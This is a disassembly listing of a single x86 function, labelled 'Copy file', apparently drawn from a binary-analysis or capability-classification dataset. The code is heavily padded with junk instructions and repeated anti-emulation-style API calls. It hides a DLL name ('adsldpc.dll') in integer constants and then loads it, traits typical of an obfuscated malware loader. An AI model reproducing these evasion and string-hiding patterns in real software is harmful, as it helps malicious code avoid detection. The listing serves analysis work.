Function at 0x4057c0
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
mov byte [ebp - 1], 0
mov dword [0x7d9048], esi
mov dword [0x7d902a], ebx
xchg dword [0x7d910a], ecx
mov eax, 0x4065e0
mov dword [0x7ec014], eax
mov eax, 0x406600
mov dword [0x7ec018], eax
mov dword [0x7ec01c], 0x4015d8
xor eax, eax
mov dword [0x7ec020], eax
xor eax, eax
mov dword [0x7ec024], eax
mov dword [0x7ec028], 0x10b6f
mov eax, dword [0x7ec028]
push eax
mov eax, dword [0x7ec024]
push eax
mov eax, dword [0x7ec020]
push eax
mov eax, dword [0x7ec01c]
push eax
mov eax, dword [0x7ec018]
push eax
mov eax, dword [0x7ec014]
push eax
call sub.kernel32.dll_CopyFileExW
test eax, eax
jne 0x40586c
cmp word [0x7d90ca], 0
jne 0x40585b
mov dword [0x7d90a7], esi
mov dword [0x7d904c], 0x16c46
jmp 0x405864
mov word [0x7d90de], 0xbe81
mov eax, esi
mov dword [0x7d90ae], ecx
mov edi, esi
mov dword [esp - 8], ebx
mov word [0x7d905b], 0xbbf6
inc byte [ebp - 1]
cmp byte [ebp - 1], 2
jne 0x4057ca
cmp dword [0x7d90db], 0
je 0x4058a8
mov edx, 0x1f1
inc dword [0x7d9045]
xchg dword [esp - 0x12], edi
xchg dword [0x7d907c], ecx
jmp 0x4058af
dec eax
mov dword [0x7d9016], edi
mov dword [0x7d9017], edx
cmp dword [0x7d9101], 0xf2
jl 0x4058e5
mov dword [0x7d90cb], 0x1337c
xchg dword [0x7d907b], edi
sub dword [0x7d9055], esi
mov dword [0x7d9106], ebx
mov dword [0x7d90c0], edi
jmp 0x4058f5
and dword [0x7d90c7], edx
mov dword [esp - 0xc], eax
xchg dword [0x7d90c2], edi
xor eax, eax
mov dword [0x7ec02c], eax
mov eax, dword [0x7ec02c]
push eax
call sub.kernel32.dll_ConvertThreadToFiber
call fcn.004047b4
mov ax, word [0x7ec030]
push eax
call sub.kernel32.dll_GlobalDeleteAtom
mov ax, word [0x7ec032]
push eax
call sub.kernel32.dll_GlobalDeleteAtom
test ax, ax
jne 0x40594b
mov dword [0x7d9071], esi
mov dword [esp - 0x1c], edi
mov dword [0x7d90b1], ebx
lea esi, [0x7d90d5]
and dword [esi], 0xbb
mov dword [0x7d905c], edi
call fcn.004025a8
mov eax, 0x406614
mov dword [0x7ec034], eax
mov eax, 0x406638
mov dword [0x7ec038], eax
mov dword [0x7ec03c], 0x4015d8
xor eax, eax
mov dword [0x7ec040], eax
xor eax, eax
mov dword [0x7ec044], eax
mov dword [0x7ec048], 0x14a94
mov eax, dword [0x7ec048]
push eax
mov eax, dword [0x7ec044]
push eax
mov eax, dword [0x7ec040]
push eax
mov eax, dword [0x7ec03c]
push eax
mov eax, dword [0x7ec038]
push eax
mov eax, dword [0x7ec034]
push eax
call sub.kernel32.dll_CopyFileExW
test eax, eax
jne 0x4059e2
cmp dword [0x7d9034], 0
jl 0x4059d1
mov dword [0x7d9070], esi
lea ecx, [0x7d9062]
and dword [ecx + 0x24], edx
mov dword [0x7d90f5], esi
mov dword [0x7d9097], ebx
and eax, 0xda
sub dword [0x7d9049], ecx
push 0x7ec04c
call sub.advapi32.dll_GetCurrentHwProfileW
test eax, eax
jne 0x405a11
mov dword [0x7d90e5], edi
mov dword [0x7d9034], edx
lea esi, [0x7d90b3]
add dword [esi + 8], edi
mov dword [0x7d9049], esi
mov dword [0x7d90cc], edx
call fcn.004025a8
mov eax, 0x406658
mov dword [0x7ec140], eax
mov eax, 0x40665c
mov dword [0x7ec144], eax
mov dword [0x7ec148], 0x4015d8
xor eax, eax
mov dword [0x7ec14c], eax
mov dword [0x7ec150], 1
mov dword [0x7ec154], 0x14222
mov eax, dword [0x7ec154]
push eax
mov eax, dword [0x7ec150]
push eax
mov eax, dword [0x7ec14c]
push eax
mov eax, dword [0x7ec148]
push eax
mov eax, dword [0x7ec144]
push eax
mov eax, dword [0x7ec140]
push eax
call sub.kernel32.dll_CopyFileExW
test eax, eax
jne 0x405a98
mov dword [0x7d909a], esi
mov dword [0x7d90bf], 0x1496d
mov edx, 0x18b
mov byte [0x7d90f3], 0x51
call fcn.004047b4
push ebx
mov ecx, 0x7d901a
call fcn.004015ec
lea eax, [0x7d903e]
sub dword [eax + 0x24], 0xe4
and dword [0x7d902a], esi
mov dword [0x7d90b8], edi
xchg dword [esp - 0x18], eax
xor eax, eax
mov dword [0x7ec158], eax
mov eax, dword [0x7ec158]
push eax
call sub.kernel32.dll_ConvertThreadToFiber
test eax, eax
je 0x405b19
cmp word [0x7d908b], di
jle 0x405af0
mov ecx, dword [0x7d901b]
mov dword [0x7d905d], esi
mov dword [0x7d9039], 0x1009e
mov dword [0x7d9074], 0x12ac2
mov ecx, dword [0x7d9102]
xchg dword [0x7d9089], edx
mov word [0x7d90e2], 0x765e
call fcn.00402294
mov dword [0x7d9048], 0x176ec
mov dword [0x7d910a], 0x15024
sub dword [0x7d9044], ebx
mov eax, 0x406668
mov dword [0x7ec15c], eax
mov eax, 0x406688
mov dword [0x7ec160], eax
mov dword [0x7ec164], 0x4015d8
xor eax, eax
mov dword [0x7ec168], eax
xor eax, eax
mov dword [0x7ec16c], eax
mov dword [0x7ec170], 0x1a439
mov eax, dword [0x7ec170]
push eax
mov eax, dword [0x7ec16c]
push eax
mov eax, dword [0x7ec168]
push eax
mov eax, dword [0x7ec164]
push eax
mov eax, dword [0x7ec160]
push eax
mov eax, dword [0x7ec15c]
push eax
call sub.kernel32.dll_CopyFileExW
mov word [0x7d90e0], 0x4bad
cmp byte [0x7d9046], 0
jle 0x405bb7
mov byte [0x7d9072], 0x15
mov edi, 0x112
jmp 0x405bbd
mov dword [0x7d9056], esi
mov dword [esp - 0x1c], edi
mov dword [0x7d90a6], esi
xor eax, eax
mov dword [0x7ec174], eax
mov eax, dword [0x7ec174]
push eax
call sub.kernel32.dll_ConvertThreadToFiber
test eax, eax
jne 0x405bfd
mov dword [0x7d907e], 0x153f8
mov dword [0x7d9038], ecx
mov dword [0x7d90d0], ebx
lea edi, [0x7d90cd]
add dword [edi + 0x28], 0x66
call fcn.00404e94
mov dword [0x7d90ed], ecx
cmp byte [ebp + 8], al
jg 0x405c1b
mov dword [0x7d90d3], edi
mov dword [0x7d9085], edx
jmp 0x405c2d
mov dword [0x7d9055], esi
mov dword [0x7d90b8], ebx
mov dword [0x7d9054], ecx
mov dword [0x7d9038], eax
mov ax, word [0x7ec178]
push eax
call sub.kernel32.dll_GlobalDeleteAtom
test ax, ax
je 0x405c5a
mov dword [0x7d905f], edx
mov dword [0x7d9078], esi
mov dword [0x7d9093], 0x14bcb
call fcn.00402294
sub ebx, dword [0x7d9044]
mov dword [0x7d9052], eax
mov dword [0x7d90a3], esi
mov eax, 0x4066ac
mov dword [0x7ec17c], eax
mov eax, 0x4066c4
mov dword [0x7ec180], eax
mov dword [0x7ec184], 0x4015d8
xor eax, eax
mov dword [0x7ec188], eax
xor eax, eax
mov dword [0x7ec18c], eax
mov dword [0x7ec190], 0x1b9fc
mov eax, dword [0x7ec190]
push eax
mov eax, dword [0x7ec18c]
push eax
mov eax, dword [0x7ec188]
push eax
mov eax, dword [0x7ec184]
push eax
mov eax, dword [0x7ec180]
push eax
mov eax, dword [0x7ec17c]
push eax
call sub.kernel32.dll_CopyFileExW
test eax, eax
jne 0x405ce1
dec eax
mov dword [0x7d9070], ebx
mov dword [0x7d9082], esi
mov dword [0x7d905f], edi
lea edx, [0x7d905e]
mov dword [edx + 0x24], 0x31
mov dword [0x7d9045], 0x169c8
lea ebx, [0x7d9073]
sub dword [ebx + 0x10], 1
mov dword [0x7d90b5], edx
push esi
mov eax, 0x7d90bf
call fcn.004015ec
mov dword [0x7d907b], ecx
mov dword [0x7d9036], eax
test ecx, ecx
jne 0x405d42
xchg dword [0x7d908c], eax
mov dword [0x7d9098], esi
sub dword [0x7d90c7], eax
mov edx, 0xd6
jmp 0x405d53
mov ebx, 0xa8
mov dword [0x7d909c], ecx
mov dword [0x7d90e1], edx
cmp edi, 0x77
jl 0x405d67
mov word [0x7d9072], 0x7822
mov dword [0x7d9019], ecx
mov dword [0x7d90b2], ebx
sub dword [0x7d905d], ecx
mov dword [0x7d9093], esi
mov byte [0x7d9100], 0x70
mov eax, 0x4066dc
mov dword [0x7ec194], eax
mov eax, 0x406704
mov dword [0x7ec198], eax
mov dword [0x7ec19c], 0x4015d8
xor eax, eax
mov dword [0x7ec1a0], eax
mov dword [0x7ec1a4], 1
mov dword [0x7ec1a8], 0x1b42b
mov eax, dword [0x7ec1a8]
push eax
mov eax, dword [0x7ec1a4]
push eax
mov eax, dword [0x7ec1a0]
push eax
mov eax, dword [0x7ec19c]
push eax
mov eax, dword [0x7ec198]
push eax
mov eax, dword [0x7ec194]
push eax
call sub.kernel32.dll_CopyFileExW
test eax, eax
jne 0x405df8
mov dword [0x7d907d], eax
mov dword [0x7d9048], edx
and ecx, 0xb0
mov ax, word [0x7ec1ac]
push eax
call sub.kernel32.dll_GlobalDeleteAtom
test ax, ax
jne 0x405e2d
cmp dword [0x7d9033], eax
je 0x405e15
xchg dword [esp - 4], edx
mov dword [0x7d90fc], esi
mov dword [0x7d90cc], edx
mov dword [0x7d9068], eax
sub dword [0x7d90b7], edi
call fcn.004025a8
mov dword [esp - 0x18], edx
mov dword [0x7d90f2], ecx
mov dword [esp - 0xc], eax
mov edx, ebx
mov dword [0x7d90f0], ebx
xor eax, eax
mov dword [0x7ec1b0], eax
mov eax, dword [0x7ec1b0]
push eax
call sub.kernel32.dll_ConvertThreadToFiber
mov dword [0x7d90bd], ecx
mov dword [0x7d910a], edi
mov dword [0x7d9038], 0x1101c
mov byte [0x7d9103], 0x21
mov dword [0x7d9042], ecx
add eax, 0xd3
cmp byte [0x7d90b9], 0
jge 0x405e95
mov ecx, dword [0x7d9056]
mov edi, edx
jmp 0x405e9b
add dword [0x7d90c7], edx
mov dword [0x7d90d1], esi
mov dword [0x7d9107], ebx
mov eax, 0x40672c
mov dword [0x7ec1b4], eax
mov eax, 0x40674c
mov dword [0x7ec1b8], eax
mov dword [0x7ec1bc], 0x4015d8
xor eax, eax
mov dword [0x7ec1c0], eax
mov dword [0x7ec1c4], 1
mov dword [0x7ec1c8], 0x1c22a
mov eax, dword [0x7ec1c8]
push eax
mov eax, dword [0x7ec1c4]
push eax
mov eax, dword [0x7ec1c0]
push eax
mov eax, dword [0x7ec1bc]
push eax
mov eax, dword [0x7ec1b8]
push eax
mov eax, dword [0x7ec1b4]
push eax
call sub.kernel32.dll_CopyFileExW
mov dword [0x7d9106], eax
mov dword [0x7d90d4], 0x15e1d
mov dword [0x7d9075], eax
mov dword [0x7d903b], ecx
mov word [0x7d9095], 0x9038
mov byte [0x7d9018], 0x47
mov eax, 0x406768
mov dword [0x7ec1cc], eax
mov eax, 0x40677c
mov dword [0x7ec1d0], eax
mov dword [0x7ec1d4], 0x4015d8
xor eax, eax
mov dword [0x7ec1d8], eax
xor eax, eax
mov dword [0x7ec1dc], eax
mov dword [0x7ec1e0], 0x14bd0
mov eax, dword [0x7ec1e0]
push eax
mov eax, dword [0x7ec1dc]
push eax
mov eax, dword [0x7ec1d8]
push eax
mov eax, dword [0x7ec1d4]
push eax
mov eax, dword [0x7ec1d0]
push eax
mov eax, dword [0x7ec1cc]
push eax
call sub.kernel32.dll_CopyFileExW
test eax, eax
je 0x405fc7
mov dword [0x7d903d], edx
test ecx, ecx
jne 0x405fa8
mov dword [0x7d908b], ebx
mov dword [0x7d90ff], 0x15fac
mov dword [0x7d90f3], eax
lea ecx, [0x7d9045]
mov dword [ecx], edx
mov byte [0x7d90da], 0xeb
mov eax, 0x4067a0
mov dword [0x7ec1e4], eax
mov eax, 0x4067c8
mov dword [0x7ec1e8], eax
mov dword [0x7ec1ec], 0x4015d8
xor eax, eax
mov dword [0x7ec1f0], eax
xor eax, eax
mov dword [0x7ec1f4], eax
mov dword [0x7ec1f8], 0x19b24
mov eax, dword [0x7ec1f8]
push eax
mov eax, dword [0x7ec1f4]
push eax
mov eax, dword [0x7ec1f0]
push eax
mov eax, dword [0x7ec1ec]
push eax
mov eax, dword [0x7ec1e8]
push eax
mov eax, dword [0x7ec1e4]
push eax
call sub.kernel32.dll_CopyFileExW
mov dword [0x7d902f], edi
sub dword [0x7d902e], ebx
and eax, 0xdc
xchg dword [0x7d90af], edx
mov dword [0x7d90da], eax
push 0x7ec1fc
call sub.advapi32.dll_GetCurrentHwProfileW
test eax, eax
jne 0x406061
mov ecx, edx
mov word [0x7d90b3], 0x9d57
mov esi, 0x149
call fcn.00403648
mov dword [0x7d903a], 0x1025c
test ch, ch
je 0x40608a
mov dword [0x7d9097], ecx
mov dword [0x7d90d9], 0x11d5e
mov dword [0x7d90a5], edi
mov dword [0x7d901e], esi
mov dword [0x7d909a], edi
push 0x7ec2f0
call sub.advapi32.dll_GetCurrentHwProfileW
test eax, eax
je 0x4060c6
mov dword [0x7d903c], edx
mov word [0x7d90e3], 0x5626
mov dword [0x7d9068], eax
mov dword [0x7d90e6], edi
mov byte [0x7d9094], 0x45
call fcn.004025a8
mov byte [ebp - 1], 0
mov ax, word [0x7ec3e2]
push eax
call sub.kernel32.dll_GlobalDeleteAtom
test ax, ax
jne 0x4060f7
mov dword [0x7d90f5], edx
mov word [0x7d90ac], 0x5b2b
lea esi, [0x7d9096]
mov dword [esi], edx
inc byte [ebp - 1]
cmp byte [ebp - 1], 3
jne 0x4060cf
mov dword [0x7d9084], esi
lea eax, [0x7d908a]
mov dword [eax], 5
mov dword [0x7d90cc], ecx
mov ax, word [0x7ec3e4]
push eax
call sub.kernel32.dll_GlobalDeleteAtom
test ax, ax
jne 0x406141
mov dword [0x7d9075], ecx
mov dword [0x7d902a], ebx
mov dword [0x7d9084], edx
dec dword [0x7d90ae]
mov edi, esi
mov dword [esp - 8], ebx
mov word [0x7d905b], 0xbbf6
mov edi, esi
mov dword [esp - 8], ebx
mov word [0x7d905b], 0xbbf6
call fcn.00403648
mov dword [0x7d9048], 0x176ec
mov dword [0x7d910a], 0x15024
sub dword [0x7d9044], ebx
push eax
mov edx, 0x7d9010
call fcn.00403648
mov dword [0x7d90d8], ecx
cmp ch, byte [ebp - 0x28]
jle 0x4061a8
mov dword [0x7d90c8], edi
mov dword [0x7d90ab], 0x1150b
mov dword [esp - 0x18], ecx
mov dword [0x7d9011], edi
add esi, dword [0x7d909b]
mov dword [0x7d908c], edi
cmp byte [0x7d9079], 0
jge 0x4061df
mov dword [0x7d90f2], 0x108e9
mov word [0x7d90b7], 0x7f64
mov word [0x7d9010], 0xac33
lea edx, [0x7d9028]
sub dword [edx + 0x28], eax
mov ebx, dword [0x7d90ed]
cmp edx, dword [esp + 8]
jl 0x406202
mov dword [0x7d90d1], 0x17f1e
mov dword [esp - 0x24], ecx
mov dword [0x7d903c], 0x1098e
mov word [0x7d908c], 0x88ac
mov dword [0x7d905b], esi
mov dword [0x7d904d], 0x17fda
mov ax, word [0x7ec3e6]
push eax
call sub.kernel32.dll_GlobalDeleteAtom
mov dword [0x7d909e], ecx
mov dword [0x7d90a7], edx
sub dword [0x7d90c9], edi
mov dword [0x7d9109], edx
mov edi, 0x8f
mov dword [0x7d9082], 0x16c79
mov dword [esp - 0x10], edx
mov dword [0x7d9066], ebx
mov esi, 0x10a
mov esi, edi
mov dword [0x7d90fb], ecx
cmp dword [0x7d905b], 0
jne 0x406298
mov dword [0x7d90c7], ebx
mov edx, ecx
mov dword [0x7d906d], 0x150b3
mov ebx, 0x155
mov dword [0x7d907b], eax
dec edx
jmp 0x4062b7
sub dword [0x7d9014], edi
mov dword [0x7d90f7], esi
mov byte [0x7d9017], 0xe
mov dword [0x7d901b], edx
sub dword [0x7d9083], ecx
xor eax, eax
mov dword [0x7ec3e8], eax
mov eax, dword [0x7ec3e8]
push eax
call sub.kernel32.dll_ConvertThreadToFiber
mov dword [esp - 8], edx
and eax, esi
lea edx, [0x7d903d]
add dword [edx + 0x1c], 0x90
call fcn.004047b4
push edx
push edx
call fcn.00402f5c
xor eax, eax
mov dword [0x7ec3ec], eax
mov eax, dword [0x7ec3ec]
push eax
call sub.kernel32.dll_ConvertThreadToFiber
test eax, eax
je 0x40631e
mov word [0x7d9082], 0x10d0
mov esi, 0x93
and ebx, 0xcc
mov dword [0x7d901b], edi
xchg dword [0x7d90ad], ebx
xor eax, eax
mov dword [0x7ec3f0], eax
mov eax, dword [0x7ec3f0]
push eax
call sub.kernel32.dll_ConvertThreadToFiber
test eax, eax
jne 0x406342
dec byte [0x7d90ec]
mov dword [esp - 0x1c], edi
mov dword [esp - 0x18], esi
push 0x7ec3f4
call sub.advapi32.dll_GetCurrentHwProfileW
test eax, eax
jne 0x40636a
inc byte [0x7d9078]
mov esi, ecx
mov ecx, dword [0x7d90e6]
mov dword [0x7d90e4], ebx
mov dword [0x7d9081], eax
xor eax, eax
mov dword [0x7ec4e8], eax
mov eax, dword [0x7ec4e8]
push eax
call sub.kernel32.dll_ConvertThreadToFiber
test eax, eax
je 0x406398
mov word [0x7d90a8], 0xcbfe
mov byte [0x7d9033], 0x95
mov dword [esp - 0x10], edi
mov dword [esp - 0x20], ecx
push 0x7ec4ec
call sub.advapi32.dll_GetCurrentHwProfileW
test eax, eax
jne 0x4063b7
mov byte [0x7d90d0], 0xb6
xchg dword [esp - 0x1c], esi
xchg dword [0x7d90bd], eax
call fcn.004047b4
mov ax, word [0x7ec5de]
push eax
call sub.kernel32.dll_GlobalDeleteAtom
test ax, ax
jne 0x406401
cmp word [0x7d905a], 0
jl 0x4063ed
mov dword [0x7d9072], eax
mov dword [0x7d9083], 0x12751
mov dword [0x7d90ac], eax
mov dword [0x7d904b], ecx
mov dword [esp - 0x28], ebx
add ecx, dword [0x7d9067]
mov dword [esp - 0x10], edx
sub dword [0x7d90c9], edx
mov dword [0x7d903a], 0x13e47
mov dword [esp - 0xc], esi
mov eax, 0x1dd
mov dword [0x7d90d9], edx
mov eax, 0x7d90dc
push 1
call fcn.00404e94
push 0x7ec5e0
call sub.advapi32.dll_GetCurrentHwProfileW
test eax, eax
je 0x40644f
mov dword [0x7d9092], 0x1227d
mov byte [0x7d902e], 1
mov dword [esp - 0x20], ebx
mov byte [ebp - 1], 0
mov word [0x7d9077], 0xfbf
lea edi, [0x7d9044]
sub dword [edi + 8], 0x57
lea ebx, [0x7d90e0]
mov dword [ebx], 0x74
mov dword [0x7d902c], 0x13a62
mov dword [0x7d905b], edx
mov ax, word [0x7ec6d2]
push eax
call sub.kernel32.dll_GlobalDeleteAtom
test ax, ax
jne 0x4064a9
mov dword [0x7d9071], 0x14dba
mov dword [0x7d90e4], eax
mov dword [0x7d901a], ebx
inc byte [ebp - 1]
cmp byte [ebp - 1], 3
jne 0x406453
call fcn.004015ec
push 0x7ec6d4
call sub.advapi32.dll_GetCurrentHwProfileW
mov word [0x7d90f0], 0xac74
mov dword [0x7d90b2], 0x17e92
mov dword [0x7d90f3], eax
mov dword [esp - 0x28], edx
mov dword [0x7d907e], ecx
mov dword [0x7d9078], esi
call fcn.00402294
mov dword [0x7d90ed], 0x10a23
xchg dword [0x7d9010], eax
mov dword [0x7d9043], edx
mov dword [0x7eaf4c], 0x6c736461
mov dword [0x7eaf50], 0x2e637064
mov dword [0x7eaf54], 0x6c6c64
mov dword [0x7d904d], eax
push ecx
call fcn.004047b4
mov dword [0x7d9077], ebx
mov dword [0x7d9048], esi
mov dword [esp - 0x12], ecx
mov dword [0x7d907d], 0x16523
xchg dword [0x7d90c5], ebx
cmp al, byte [ebp - 0xc]
jge 0x40656c
mov word [0x7d903d], 0x652f
mov word [0x7d90ce], 0x5f37
mov dword [0x7d902c], ecx
mov dword [esp - 0x10], eax
mov dword [esp - 0x28], edi
mov byte [0x7d909b], 5
mov dword [0x7d90c0], eax
mov dword [0x7d9091], edx
mov word [0x7d90ab], 0x3068
xor eax, eax
push eax
push eax
push 0x7eaf4c
call sub.kernel32.dll_LoadLibraryExA
sub eax, esi
mov dword [0x7eafc0], eax
add dword [0x7eafc0], esi
mov dword [esp - 0x12], eax
mov dword [0x7d90fd], edi
mov dword [0x7d906b], ebx
mov byte [0x7d902f], 0xce
cmp dword [0x7d90f1], 0
jle 0x4065d7
mov dword [esp - 0xc], ebx
mov dword [0x7d902e], edx
jmp 0x4065da
sub ebx, 0x40
mov esp, ebp
pop ebp
ret